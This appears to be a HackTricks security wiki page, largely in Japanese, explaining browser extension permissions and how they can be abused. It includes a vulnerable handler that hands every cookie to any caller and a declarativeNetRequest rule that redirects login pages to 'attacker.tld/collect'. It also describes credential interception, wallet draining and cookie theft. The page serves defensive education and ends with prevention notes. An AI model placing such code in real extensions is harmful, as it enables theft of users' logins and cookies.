BrowExt - permissions & host_permissions

Tip

AWSハッキングを学び、実践する：HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する：HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する：HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

基本情報

permissions

Permissions は拡張機能の manifest.json ファイルで permissions プロパティを使って定義され、ブラウザがアクセスできるほぼすべて（Cookies や Physical Storage）へのアクセスを許可します:

The previous manifest declares that the extension requires the storage permission. This means that it can use the storage API to store its data persistently. Unlike cookies or localStorage APIs which give users some level of control, extension storage can normally only be cleared by uninstalling the extension.

拡張機能は manifest.json に示された権限を要求します。拡張機能をインストールした後、画像に示されているように ブラウザで常にその権限を確認できます:

You can find the complete list of permissions a Chromium Browser Extension can request here and a complete list for Firefox extensions here.

host_permissions

オプションだが強力な設定である host_permissions は、拡張機能が cookies、webRequest、および tabs などの API を介してどのホストとやり取りできるかを示します。

The following host_permissions basically allow every web:

"host_permissions": [
"*://*/*"
]

// Or:
"host_permissions": [
"http://*/*",
"https://*/*"
]

// Or:
"host_permissions": [
"<all_urls>"
]

These are the hosts that the browser extension can access freely. This is because when a browser extension calls fetch("https://gmail.com/") it’s not restricted by CORS.

permissions と host_permissions の悪用

Cookies

拡張機能の cookies 権限により、ブラウザの すべての cookies にアクセスできます。 this blog post では、この権限が 脆弱な background script を通じて悪用され、悪意あるウェブページにアクセスした被害者ユーザのブラウザ内のすべての cookies を攻撃者に渡してしまいました。脆弱なコードは単にすべての cookies を返していただけでした:

chrome.runtime.onMessage.addListener(
function(request, sender, sendResponse) {
if (request.action == "getCookies") {
chrome.cookies.getAll({}, function(cookies) {
sendResponse({data: cookies});
});
}
return true;
}
);

タブ

さらに、host_permissions は“高度な” tabs API 機能もアンロックします。これにより拡張機能は tabs.query() を呼び出し、ユーザーのブラウザのタブの一覧を取得するだけでなく、どの web page（アドレスとタイトルを意味する）が読み込まれているか も知ることができます。

Caution

さらに、tabs.onUpdated のようなリスナーも はるかに有用になります。これらはタブに新しいページが読み込まれるたびに通知されます。

Running content scripts

コンテンツスクリプトは必ずしも拡張機能の manifest に静的に書かれているわけではありません。十分な host_permissions があれば、拡張機能は tabs.executeScript() または scripting.executeScript() を呼び出して動的に読み込むこともできます。

両APIは拡張機能に含まれるファイルとしてのコンテンツスクリプトだけでなく、任意のコードの実行も許します。前者は JavaScript コードを文字列として渡すことを可能にし、後者は JavaScript 関数を期待するため注入脆弱性に対してやや安全です。それでも、どちらのAPIも誤用されれば甚大な被害をもたらします。

Caution

上記の能力に加え、コンテンツスクリプトは例えばウェブページに入力される際に 資格情報を傍受する ことができます。もう一つの古典的な悪用法は、あらゆるサイトに 広告を注入する ことです。ニュースサイトの信頼性を悪用するために 詐欺メッセージ を追加することも可能です。最後に、銀行のウェブサイトを 操作して送金を迂回させる こともできます。

暗黙の特権

一部の拡張機能の権限は 明示的に宣言する必要がない 場合があります。例として tabs API が挙げられます: 基本機能は何の権限なしでアクセス可能です。任意の拡張機能はあなたがタブを開閉したときに通知を受け取れますが、それらのタブがどのウェブサイトに対応しているかは分かりません。

それでも無害に聞こえますか? tabs.create() API はやや事情が異なります。これは 新しいタブを作成する のに使え、基本的にはどのウェブサイトでも呼び出せる window.open() と同じですが、window.open() が ポップアップブロッカーの対象であるのに対し、tabs.create() はそうではありません。

Caution

拡張機能は望むときに任意の数のタブを作成できます。

tabs.create() の可能なパラメータを見れば分かるように、その機能は window.open() が制御できる範囲をはるかに超えています。また、Firefox はこの API で data: URI の使用を許可していませんが、Chrome にはそのような保護がありません。トップレベルでのそのような URI の使用は フィッシングに濫用されたため禁止されている。

tabs.update() は tabs.create() と非常に似ていますが、既存のタブを 変更 します。したがって悪意ある拡張機能は例えば任意のタブに広告ページを読み込ませたり、そのタブをアクティブにしたりできます。

Webcam, geolocation and friends

おそらくご存知のように、ウェブサイトはウェブカメラ（ビデオ会議ツール等）や位置情報（地図等）へアクセスするための特別な許可を要求できます。これらは悪用の可能性が高いため、ユーザーは毎回それを許可するか確認する必要があります。

Caution

ブラウザ拡張機能ではそうではありません。If a browser extension wants access to your webcam or microphone, it only needs to ask for permission once

通常、拡張機能はインストール直後にこれを行います。このプロンプトが承認されると、ユーザーがその時点で拡張機能と対話していなくてもいつでもウェブカメラへのアクセスが可能になります。確かにユーザーは拡張機能が本当にウェブカメラアクセスを必要とする場合にのみこのプロンプトを承認するでしょう。しかしその後は、拡張機能が秘密裏に録画しないことを信頼するしかありません。

your exact geographical location や contents of your clipboard へのアクセスについては、明示的な許可を与える必要は全くありません。拡張機能は単に geolocation または clipboard をマニフェストの permissions entry に追加するだけです。 これらのアクセス権は拡張機能がインストールされると暗黙に付与されます。したがって、これらの権限を持つ悪意あるまたは乗っ取られた拡張機能は、あなたの移動プロファイルを作成したり、クリップボードのコピーされたパスワードを監視したりしてもあなたは気づかない可能性があります。

マニフェストの permissions entry に history キーワードを追加すると history API へのアクセスが付与されます。これにより、ユーザーが再訪問するのを待つことなく、ユーザーのブラウジング履歴全体を一度に取得できます。

bookmarks の permission も同様の悪用の可能性があり、これは bookmarks API 経由で全てのブックマークを読み出すことを可能にします。

Storage permission

拡張機能のストレージは単なるキー・バリューのコレクションで、どのウェブサイトでも使える localStorage に非常によく似ています。したがってここに機密情報を保存すべきではありません。

しかし、広告会社などがこのストレージを悪用することもあり得ます。

More permissions

Manifest V3 はページアクセスと API 権限を分離しました: permissions は依然として特権 API（cookies, tabs, history, scripting 等）を管理し、host_permissions はそれらの API がアクセスできるオリジンを制御します。MV3 は host permissions を ランタイムで付与可能 にしたため、拡張機能は権限なしで出荷し、後で chrome.permissions.request() によって同意プロンプトを出すことができます—これは正当な最小権限フローには便利ですが、評判が確立された後にマルウェアが権限をエスカレートするために悪用されます。

ステルスな変種として declarativeNetRequestWithHostAccess（Chrome ≥96）があります。これは declarativeNetRequest と同等のリクエストブロック/リダイレクト機能を提供しますが、<all_urls> ホスト権限よりも インストール時のプロンプトが弱く表示されます。悪意ある拡張機能はこれを利用して「任意のサイトでブロック/リダイレクト」機能を静かに獲得します; プロンプトの確認は chrome://extensions/?errors と chrome://extensions/?id=<id> で行ってください。

declarativeNetRequest の動的ルールにより拡張機能はランタイムにネットワークポリシーを再プログラムできます。<all_urls> ホストアクセスがあれば攻撃者はそれを武器化してトラフィックをハイジャックしたり data exfil を行ったりできます。例:

chrome.declarativeNetRequest.updateDynamicRules({
addRules: [{
id: 9001,
priority: 1,
action: {
type: "redirect",
redirect: { url: "https://attacker.tld/collect" }
},
condition: { urlFilter: "|http*://*/login", resourceTypes: ["main_frame"] }
}]
});

ChromeはMV3のルール上限を引き上げました（≈330k static / 30k dynamic）。そのため、interception/ads injection のための大規模なカバレッジセットが現実的になりました。

最近の濫用パターン

  • Supply-chain trojanized updates: 盗まれた開発者アカウントが、リモートJSを注入し headers/DOM content を吸い上げるために <all_urls> と declarativeNetRequest/scripting/webRequest を追加するMV3アップデートをプッシュします。
  • Wallet drains: ホストアクセスと storage と tabs があれば、バックドア化したウォレット拡張は seeds を exfiltrate できます；盗まれた Web Store API keys は悪意あるビルドの配布に使われています。
  • Cookie theft: cookies + 広範なホストアクセスを持つ任意の拡張は、HttpOnly に関わらず認証クッキーを読み取れます—この組み合わせは credential-stealing capable と見なしてください。

防止策

Googleの開発者ポリシーは、拡張機能がその機能に必要な以上の権限を要求することを明確に禁じており、過剰な権限要求を事実上抑制します。拡張機能がこの境界を越えた例としては、アドオンストアではなくブラウザ本体に同梱されて配布されたケースがあります。

Browsers could further curb the misuse of extension privileges. For instance, Chrome’s tabCapture and desktopCapture APIs, used for screen recording, are designed to minimize abuse. The tabCapture API can only be activated through direct user interaction, such as clicking on the extension icon, while desktopCapture requires user confirmation for the window to be recorded, preventing clandestine recording activities.

しかし、セキュリティ対策を厳格化すると拡張機能の柔軟性やユーザービリティが低下することが多いです。activeTab permission はこのトレードオフを端的に示しています。これは拡張がインターネット全域に対してホスト権限を要求する必要をなくすために導入され、ユーザーが明示的に有効化したときにのみ現在のタブへアクセスを許可します。このモデルはユーザー起点の操作を必要とする拡張には有効ですが、自動的または先回りの動作を求められる拡張には不向きであり、利便性や即時性を損ないます。

References

Tip

AWSハッキングを学び、実践する：HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する：HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する：HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする